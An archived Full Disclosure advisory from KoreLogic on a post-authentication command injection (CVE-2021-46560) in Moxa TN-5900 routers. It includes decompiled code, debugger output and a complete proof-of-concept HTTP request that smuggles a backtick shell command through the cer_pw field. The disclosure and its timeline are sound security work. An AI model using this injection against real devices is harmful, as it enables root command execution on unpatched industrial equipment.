KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability

                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="76"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#77">By Date</a>
<a href="78"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="76"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#77">By Thread</a>
<a href="78"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: KoreLogic Disclosures via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Fri, 28 Jan 2022 12:40:42 -0600


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability

Title: Moxa TN-5900 Post Authentication Command Injection Vulnerability
Advisory ID: KL-001-2022-002
Publication Date: 2022.01.28
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2022-002.txt">https://korelogic.com/Resources/Advisories/KL-001-2022-002.txt</a>


1. Vulnerability Details

&nbsp;&nbsp;&nbsp;&nbsp; Affected Vendor: Moxa
&nbsp;&nbsp;&nbsp;&nbsp; Affected Product: TN-5900
&nbsp;&nbsp;&nbsp;&nbsp; Affected Version: v3.1 and prior
&nbsp;&nbsp;&nbsp;&nbsp; Platform: Moxa Linux
&nbsp;&nbsp;&nbsp;&nbsp; CWE Classification: CWE-78 Improper Neutralization of Special
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Elements used in an OS Command
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ('OS Command Injection')
&nbsp;&nbsp;&nbsp;&nbsp; CVE ID: CVE-2021-46560


2. Vulnerability Description

&nbsp;&nbsp;&nbsp;&nbsp; A user who has authenticated to the management web application
&nbsp;&nbsp;&nbsp;&nbsp; is able to leverage a command injection vulnerability in the
&nbsp;&nbsp;&nbsp;&nbsp; p12 processing code of the certificate management function
&nbsp;&nbsp;&nbsp;&nbsp; web_CERMGMTUpload.


3. Technical Description

&nbsp;&nbsp;&nbsp;&nbsp; Following authentication, the webs_CERMGMTUpload API method
&nbsp;&nbsp;&nbsp;&nbsp; becomes accessible.&nbsp; This method takes a multi-part HTTP POST
&nbsp;&nbsp;&nbsp;&nbsp; request containing four parameters.&nbsp; The cer_pw parameter does
&nbsp;&nbsp;&nbsp;&nbsp; not properly neutralize special elements used in operating
&nbsp;&nbsp;&nbsp;&nbsp; system commands and therefore it is possible to include
&nbsp;&nbsp;&nbsp;&nbsp; encapsulated commands to be executed. In the request below,
&nbsp;&nbsp;&nbsp;&nbsp; the cer_pw parameter has been written such that when executed
&nbsp;&nbsp;&nbsp;&nbsp; by the operating system a zero byte file will appear in the
&nbsp;&nbsp;&nbsp;&nbsp; /tmp directory. See the Proof of Concept section.

&nbsp;&nbsp;&nbsp;&nbsp; The relevant pseudo-c for this API method is included below. The
&nbsp;&nbsp;&nbsp;&nbsp; websGetVar function is used to retrieve the cer_pw parameter and
&nbsp;&nbsp;&nbsp;&nbsp; copies the value into the pass variable. The opcode (mgmtmode)
&nbsp;&nbsp;&nbsp;&nbsp; is then compared to the number 2 and when true will prepare a
&nbsp;&nbsp;&nbsp;&nbsp; command to be passed to system using the sprintf function. When
&nbsp;&nbsp;&nbsp;&nbsp; preparing this command, the pass variable (cer_pw) is included
&nbsp;&nbsp;&nbsp;&nbsp; without prior first sanitizing the user input.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __nptr = websGetVar(param_1,"mgmtmode",&amp;DAT_120064f68);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opcode = atoi(__nptr);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __s = websGetVar(param_1,"cer_file",&amp;DAT_120063dd0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; local_338 = websGetVar(param_1,"cer_name",&amp;DAT_120063dd0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 &lt; lVar1)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sVar2 = strlen(__s);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (CONCAT44(extraout_v0_hi,sVar2) &lt; 0x41) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sVar4 = strlen(local_338);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (CONCAT44(extraout_v0_hi_00,sVar4) &lt; 0x41) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (opcode == 2) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(pass,0,0x41);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __s = websGetVar(param_1,"cer_pw",&amp;DAT_120063dd0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strncpy(pass,__s,0x20);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __fd = open(inFile,0x102);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (__fd &lt; 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (opcode == 2) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outFile = FUN_120038e28(&amp;local_159);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; snprintf(cmd,0x100,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ,outFile,pass,pass);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system(cmd);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }

&nbsp;&nbsp;&nbsp;&nbsp; Using a debugger we can see the command as it was
&nbsp;&nbsp;&nbsp;&nbsp; programmatically created using our malicious input. This
&nbsp;&nbsp;&nbsp;&nbsp; command is passed to the system function.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (gdb) x/25s $a0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xfffbddb284:&nbsp;&nbsp; &nbsp;"openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout
pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`"
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; The file has been created.
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # ls -la /tmp/korelogic
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8072 Sep 23 20:30 korelogic
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; It should be noted that the cer_name is exploitable as well.


4. Mitigation and Remediation Recommendation

&nbsp;&nbsp;&nbsp;&nbsp; The vendor has released a patch which remediates the described
&nbsp;&nbsp;&nbsp;&nbsp; vulnerability. Release notes are available at:

&nbsp;&nbsp;&nbsp;&nbsp; <a rel="nofollow" href="https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities">https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities</a>


5. Credit

&nbsp;&nbsp;&nbsp;&nbsp; This vulnerability was discovered by Matt Bergin (@thatguylevel)
&nbsp;&nbsp;&nbsp;&nbsp; and Josh Hardin of KoreLogic, Inc.


6. Disclosure Timeline

&nbsp;&nbsp;&nbsp;&nbsp; 2021.02.05 - KoreLogic submits vulnerability details to Moxa.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.02.08 - Moxa acknowledges receipt and the intention to
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; investigate.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.03.02 - Moxa notifies KoreLogic that a patch for this
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerability is expected to be available in June 2021.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.04.16 - 45 business days have elapsed since KoreLogic reported
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this vulnerability to the vendor.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.06.07 - KoreLogic requests update on the status of the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; proposed TN-5900 patch.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.06.15 - Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.06.23 - 90 business days have elapsed since KoreLogic reported
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this vulnerability to the vendor.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.07.25 - Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.09.22 - 150 business days have elapsed since KoreLogic reported
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this vulnerability to the vendor.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.12.21 - 210 business days have elapsed since KoreLogic reported
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this vulnerability to the vendor.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.12.27 - Moxa notified KoreLogic that the patch is complete and ready for release..
&nbsp;&nbsp;&nbsp;&nbsp; 2021.12.28 - Moxa public acknowledgement.
&nbsp;&nbsp;&nbsp;&nbsp; 2022.01.25 - KoreLogic requests CVE from Mitre.
&nbsp;&nbsp;&nbsp;&nbsp; 2022.01.28 - KoreLogic public disclosure.


7. Proof of Concept

&nbsp;&nbsp;&nbsp;&nbsp; POST /goform/web_CERMGMTUpload HTTP/1.1
&nbsp;&nbsp;&nbsp;&nbsp; Host: [redacted]:80
&nbsp;&nbsp;&nbsp;&nbsp; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
&nbsp;&nbsp;&nbsp;&nbsp; Accept-Language: en-US,en;q=0.5
&nbsp;&nbsp;&nbsp;&nbsp; Accept-Encoding: gzip, deflate
&nbsp;&nbsp;&nbsp;&nbsp; ...
&nbsp;&nbsp;&nbsp;&nbsp; Connection: keep-alive
&nbsp;&nbsp;&nbsp;&nbsp; Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
&nbsp;&nbsp;&nbsp;&nbsp; Content-Length: 605
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; -----------------------------9051914041544843365972754266
&nbsp;&nbsp;&nbsp;&nbsp; Content-Disposition: form-data; name="mgmtmode"
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; 2
&nbsp;&nbsp;&nbsp;&nbsp; -----------------------------9051914041544843365972754266
&nbsp;&nbsp;&nbsp;&nbsp; Content-Disposition: form-data; name="cer_file";
&nbsp;&nbsp;&nbsp;&nbsp; Content-Type: text/plain
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; korelogic
&nbsp;&nbsp;&nbsp;&nbsp; -----------------------------9051914041544843365972754266
&nbsp;&nbsp;&nbsp;&nbsp; Content-Disposition: form-data; name="cer_name";
&nbsp;&nbsp;&nbsp;&nbsp; Content-Type: text/plain
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; test.p12
&nbsp;&nbsp;&nbsp;&nbsp; -----------------------------9051914041544843365972754266
&nbsp;&nbsp;&nbsp;&nbsp; Content-Disposition: form-data; name="cer_pw";
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; `touch /tmp/korelogic`
&nbsp;&nbsp;&nbsp;&nbsp; -----------------------------9051914041544843365972754266--
&nbsp; &nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; HTTP/1.1 200 OK
&nbsp;&nbsp;&nbsp;&nbsp; Server: GoAhead-Webs
&nbsp;&nbsp;&nbsp;&nbsp; Pragma: no-cache
&nbsp;&nbsp;&nbsp;&nbsp; Cache-control: no-cache
&nbsp;&nbsp;&nbsp;&nbsp; Content-Type: text/html



The contents of this advisory are copyright(c) 2022
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>

Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>

</pre><p><strong>Attachment:
<a href="att-77/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="76"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#77">By Date</a>
<a href="78"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="76"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#77">By Thread</a>
<a href="78"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability</strong> <em>KoreLogic Disclosures via Fulldisclosure (Jan 28)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>